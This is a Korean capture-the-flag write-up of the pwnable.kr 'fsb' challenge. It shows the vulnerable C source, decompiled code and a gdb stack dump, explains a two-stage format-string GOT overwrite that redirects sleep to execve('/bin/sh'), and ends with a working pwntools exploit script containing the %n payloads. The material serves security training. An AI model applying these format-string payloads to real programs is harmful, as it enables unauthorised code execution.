[pwnable.kr]fsb
이 바이너리 소스코드다.
#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>
unsigned long long key;
char buf[100];
char buf2[100];
int fsb(char** argv, char** envp){
char* args[]={"/bin/sh", 0};
int i;
char*** pargv = &argv;
char*** penvp = &envp;
char** arg;
char* c;
for(arg=argv;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
for(arg=envp;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
*pargv=0;
*penvp=0;
for(i=0; i<4; i++){
printf("Give me some format strings(%d)\n", i+1);
read(0, buf, 100);
printf(buf);
}
printf("Wait a sec...\n");
sleep(3);
printf("key : \n");
read(0, buf2, 100);
unsigned long long pw = strtoull(buf2, 0, 10);
if(pw == key){
printf("Congratz!\n");
execve(args[0], args, 0);
return 0;
}
printf("Incorrect key \n");
return 0;
}
int main(int argc, char* argv[], char** envp){
int fd = open("/dev/urandom", O_RDONLY);
if( fd==-1 || read(fd, &key, 8) != 8 ){
printf("Error, tell admin\n");
return 0;
}
close(fd);
alloca(0x12345 & key);
fsb(argv, envp); // exploit this format string bug!
return 0;
}
여기 printf(buf);
에서 포맷스트링 버그가 터진다. 근데 buf가 전역변수이라는 점이다. Double Staged FSB로 풀면 될거 같다.
int __cdecl fsb(_BYTE **a1, _BYTE **a2)
{
char *path; // [esp+24h] [ebp-24h]
int v4; // [esp+28h] [ebp-20h]
int k; // [esp+2Ch] [ebp-1Ch]
_BYTE **i; // [esp+30h] [ebp-18h]
_BYTE *j; // [esp+34h] [ebp-14h]
_DWORD *v8; // [esp+38h] [ebp-10h]
_DWORD *v9; // [esp+3Ch] [ebp-Ch]
path = "/bin/sh";
v4 = 0;
v8 = &a1;
v9 = &a2;
for ( i = a1; *i; ++i )
{
for ( j = *i; *j; ++j )
*j = 0;
}
for ( i = a2; *i; ++i )
{
for ( j = *i; *j; ++j )
*j = 0;
}
*v8 = 0;
*v9 = 0;
for ( k = 0; k <= 3; ++k )
{
printf("Give me some format strings(%d)\n", k + 1);
read(0, buf, 100u);
printf(buf);
}
puts("Wait a sec...");
sleep(3u);
puts("key : ");
read(0, buf2, 100u);
if ( strtoull(buf2, 0, 10) == key )
{
puts("Congratz!");
execve(path, &path, 0);
}
else
{
puts("Incorrect key ");
}
return 0;
}
read받을 때 esp를 보면 0xffe21248을 보면 0xffe21260을 가르키고 있다. 이곳을 덮으면 0xffe21260에 값이 써질 것이다. 그리고 0xffe21260을 덮으면 처음 덮었던 곳이 두번째 덮은 값으로 바뀔거다.
(gdb) x/30wx $esp
0xffe21210: 0x00000000 0x0804a100 0x00000064 0x00000000
0xffe21220: 0x00000000 0x00000000 0x00000000 0x00000000
0xffe21230: 0x00000000 0x08048870 0x00000000 0x00000000
0xffe21240: 0xffe335c4 0xffe33fe9 0xffe21260 0xffe21264
0xffe21250: 0x00000000 0x00000000 0xffe334b8 0x08048791
0xffe21260: 0x00000000 0x00000000 0x00000000 0x00000000
0xffe21270: 0x00000000 0x00000000 0x00000000 0x00000000
익스 시나리오는 14번째 스택에 sleep@got로 덮어주면 20번째 스택에 값이 써지니까 거기를 execve실행시켜주는 곳으로 got overwrite시키면 sleep을 실행시키면 execve()를 실행할 수 있다.
exploit.py
from pwn import *
e = ELF('./fsb')
#p = process('./fsb')
s = ssh('fsb','pwnable.kr',port=2222,password='guest')
p = s.process('./fsb')
# sleep@got : 134520840
p.sendafter('(1)\n','%134520836c%14$n') # sleep@got
p.sendafter('(2)\n','%134514335c%20$n') # execve
p.interactive()